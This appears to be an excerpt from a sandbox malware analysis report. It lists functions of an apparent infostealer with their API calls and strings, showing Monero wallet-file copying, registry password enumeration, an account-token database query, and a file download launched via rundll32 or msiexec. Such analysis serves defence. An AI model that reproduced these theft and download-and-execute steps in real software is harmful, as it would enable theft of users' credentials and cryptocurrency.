Instruction ID: 47717806d02ab2b23084bb80b202f8eeb65c1f88a6bcad5d58c416e3f74fe27f
Opcode Fuzzy Hash: 53c0d387d700226d11633ba140bdf5a28658bb722894504da175286b8ed3d870
Instruction Fuzzy Hash: 1FE1A671901104AACB14FBB1EC57EED7339AF94314F40852EB40666192EF3C6B9DCB9A

Function 00412940 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

ShellExecuteEx.SHELL32(0000003C), ref: 00412CD5
ShellExecuteEx.SHELL32(0000003C), ref: 00412E6D
ShellExecuteEx.SHELL32(0000003C), ref: 00412FFA

Strings

"" , xrefs: 00412BAA
.dll, xrefs: 00412CF5
.msi, xrefs: 00412EA8
C:\Windows\system32\msiexec.exe, xrefs: 00412FCF
/i ", xrefs: 00412EF4
<, xrefs: 00412FA0
/passive, xrefs: 00412F6B
C:\Windows\system32\rundll32.exe, xrefs: 00412E42

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 1269a2963d8ca731cd15ea21f395861ee9b80a8739dce938bb9cd153d85dca40
Instruction ID: f1658c825a9884a12c356146fd8d4c6d848a61a952cd10e5c69c9f5a52c1d3c9
Opcode Fuzzy Hash: 1269a2963d8ca731cd15ea21f395861ee9b80a8739dce938bb9cd153d85dca40
Instruction Fuzzy Hash: FA121F71811108AACB14FBA1DC96FDEB778AF14314F40415EF40666192EF782BD9CFAA

Function 00401310 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 139stringfileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00401327

Part of subcall function 004012A0: GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
Part of subcall function 004012A0: HeapAlloc.KERNEL32(00000000), ref: 004012BB
Part of subcall function 004012A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 004012D7
Part of subcall function 004012A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5
Part of subcall function 004012A0: RegCloseKey.ADVAPI32(?), ref: 004012FF

lstrcat.KERNEL32(?,00000000), ref: 0040134F
lstrlenA.KERNEL32(?), ref: 0040135C
lstrcat.KERNEL32(?,.keys), ref: 00401377

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(?,024E7FC0,0042059E,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00401465

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

DeleteFileA.KERNEL32(00000000), ref: 004014EF
memset.MSVCRT ref: 00401516

Strings

SOFTWARE\monero-project\monero-core, xrefs: 00401335
wallet_path, xrefs: 00401330
.keys, xrefs: 0040136B
\Monero\wallet.keys, xrefs: 0040138D

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Filelstrcpy$lstrcat$AllocCloseHeapLocallstrlenmemset$ChangeCopyCreateDeleteFindFreeNotificationOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3420786452-218353709
Opcode ID: fd13a5bf35781070aacd445d09fd412eb75f4d8fb20893014472706d679c0f3e
Instruction ID: b5eb1e2d9a8a1e3cf56e2c34e54d9e93e9a372b4459d7a8870c797c8d4c08f80
Opcode Fuzzy Hash: fd13a5bf35781070aacd445d09fd412eb75f4d8fb20893014472706d679c0f3e
Instruction Fuzzy Hash: AB5184B1D501186BCB14EB61DC96FED733CAF50314F4041ADB60A62092EE785BD9CBAA

Function 004060F0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 0040483A
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

InternetOpenA.WININET(00420DE2,00000001,00000000,00000000,00000000), ref: 0040615F
StrCmpCA.SHLWAPI(?,0250BE58), ref: 00406197
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 004061DF
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00406203
InternetReadFile.WININET(q&A,?,00000400,?), ref: 0040622C
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0040625A
CloseHandle.KERNEL32(?,?,00000400), ref: 00406299
InternetCloseHandle.WININET(q&A), ref: 004062A3
InternetCloseHandle.WININET(00000000), ref: 004062B0

Strings

q&A, xrefs: 00406100, 004061CF, 004062B6, 00406174, 00406103
q&A, xrefs: 0040629F, 00406228, 0040622B, 004062A2

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Internet$CloseFileHandle$Open$??2@CrackCreateReadWritelstrcpylstrlen
String ID: q&A$q&A
API String ID: 449328342-3681770271
Opcode ID: 1a189af19a0918ddc1989b4224ad2285b48102a83fadce9624675bb6f0ae19fa
Instruction ID: 439f38139d03757dc0e639f6b6df0271613160f362a72270d2c4ade6ce016e72
Opcode Fuzzy Hash: 1a189af19a0918ddc1989b4224ad2285b48102a83fadce9624675bb6f0ae19fa
Instruction Fuzzy Hash: C15161B1A00218ABDB20EF50CD49FEE7779AF44305F1081ADB606B71C1DB786A95CF99

Function 00407610 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00407310: memset.MSVCRT ref: 00407354
Part of subcall function 00407310: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,00407CD0), ref: 0040737A
Part of subcall function 00407310: RegEnumValueA.ADVAPI32(00407CD0,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004073F1
Part of subcall function 00407310: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040744D
Part of subcall function 00407310: GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407492
Part of subcall function 00407310: HeapFree.KERNEL32(00000000,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407499

lstrcat.KERNEL32(352C5020,004217A0), ref: 00407646
lstrcat.KERNEL32(352C5020,00000000), ref: 00407688
lstrcat.KERNEL32(352C5020, : ), ref: 0040769A
lstrcat.KERNEL32(352C5020,00000000), ref: 004076CF
lstrcat.KERNEL32(352C5020,004217A8), ref: 004076E0
lstrcat.KERNEL32(352C5020,00000000), ref: 00407713
lstrcat.KERNEL32(352C5020,004217AC), ref: 0040772D
task.LIBCPMTD ref: 0040773B

Strings

: , xrefs: 0040768E

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: f979cf87b43af2eb7bb5905fc5edc651b4ca25bb004b27d4a2fbdc1bc65e463e
Instruction ID: 05ed671df160738881f441edec20510396de118aefbcae7eba62044a73751e2f
Opcode Fuzzy Hash: f979cf87b43af2eb7bb5905fc5edc651b4ca25bb004b27d4a2fbdc1bc65e463e
Instruction Fuzzy Hash: FC318476D00509EBCB14EBA0DD45DEF7779AF94304F14402EF502772A0CA38A946CFA9

Function 00407310 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00407354
RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,00407CD0), ref: 0040737A
RegEnumValueA.ADVAPI32(00407CD0,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004073F1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040744D
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407492
HeapFree.KERNEL32(00000000,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407499

Part of subcall function 00409290: vsprintf_s.MSVCRT ref: 004092AB

task.LIBCPMTD ref: 00407595

Strings

Password, xrefs: 00407441

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettaskvsprintf_s
String ID: Password
API String ID: 2698061284-3434357891
Opcode ID: e183b5279ab9e6df2eb167b03a4cc02d75207c5ff0d2bc4bafbb891a8174e7a2
Instruction ID: 975b1f2fff90f96d03099a1470760af69fc6b50b1064dc5ad3510b71ddc5061f
Opcode Fuzzy Hash: e183b5279ab9e6df2eb167b03a4cc02d75207c5ff0d2bc4bafbb891a8174e7a2
Instruction Fuzzy Hash: 52613DB5D041689BDB24DF50CC41BDAB7B8BF48304F0081EAE689A6181DFB46BC9CF95

Function 00416FA0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00416FE2
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041701F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 004170A3
HeapAlloc.KERNEL32(00000000), ref: 004170AA
wsprintfA.USER32 ref: 004170E0

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Strings

:, xrefs: 00416FFC
\, xrefs: 00417000
C, xrefs: 00416FEC

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$AllocDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 3790021787-3809124531
Opcode ID: 11e96b5f598d36b5145eb5ca339976e7cb65ddbe81ead056b2f3bcd54bd5f766
Instruction ID: 54c0e4e4c236f1d7f0585d8ba6b1fa909b8b3bfc40374ef6a46e6daa0de72561
Opcode Fuzzy Hash: 11e96b5f598d36b5145eb5ca339976e7cb65ddbe81ead056b2f3bcd54bd5f766
Instruction Fuzzy Hash: 1341B1B1D04248EBDB20DFA4CC45BEEBBB8AF08714F14009DF50967281D7786A84CBA9

Function 00417BA0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0250A788,00000000,?,00420DFC,00000000,?,00000000), ref: 00417BD0
HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,0250A788,00000000,?,00420DFC,00000000,?,00000000,00000000), ref: 00417BD7
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00417BF8
__aulldiv.LIBCMT ref: 00417C12
__aulldiv.LIBCMT ref: 00417C20
wsprintfA.USER32 ref: 00417C4C

Strings

%d MB, xrefs: 00417C43
@, xrefs: 00417BED

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap__aulldiv$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2886426298-3474575989
Opcode ID: a22fd26a20c89c12fe6cfaaf614cf5a2958407047c3d7a896a6bd652d51aa950
Instruction ID: f6ead53c39b4582a22ff827f4f83d0c2aee1884270de42e44796eba59a74ffdb
Opcode Fuzzy Hash: a22fd26a20c89c12fe6cfaaf614cf5a2958407047c3d7a896a6bd652d51aa950
Instruction Fuzzy Hash: AD218CF1E44218ABDB10DFD8CC49FAEB7B9FB08B14F104509F605BB280D77869018BA9

Function 00416B70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT ref: 00416B7E

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

OpenProcess.KERNEL32(001FFFFF,00000000,00416DAD,004205AD), ref: 00416BBC
memset.MSVCRT ref: 00416C0A
??_V@YAXPAX@Z.MSVCRT ref: 00416D5E

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 00416C2C

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: OpenProcesslstrcpymemset
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 224852652-4138519520
Opcode ID: a2649502dd857f7a6f2c152c7032022c2e5ebb9aae8a7a6abff8c91a4bda3b7d
Instruction ID: 7f38ab3eb3b1a919a3e5ec0c0fab515e305e32cb9f2de8b47bf31e49bfe0b2e9
Opcode Fuzzy Hash: a2649502dd857f7a6f2c152c7032022c2e5ebb9aae8a7a6abff8c91a4bda3b7d
Instruction Fuzzy Hash: 285162B0D002189BDB24EB95DC45BEEB774AF44318F5041AEE50566281EB78AEC8CF5D

Function 0040B8E0 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 274stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00409E60: memcmp.MSVCRT ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrlenA.KERNEL32(00000000), ref: 0040BADD

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

StrStrA.SHLWAPI(00000000,AccountId), ref: 0040BB0B
lstrlenA.KERNEL32(00000000), ref: 0040BBE3
lstrlenA.KERNEL32(00000000), ref: 0040BBF7

Strings

SELECT service, encrypted_token FROM token_service, xrefs: 0040BA4B
AccountTokens, xrefs: 0040B91A
AccountTokens, xrefs: 0040B9A9
AccountId, xrefs: 0040BB02

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpylstrlen$AllocLocallstrcat$memcmpmemset
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 2910778473-1079375795
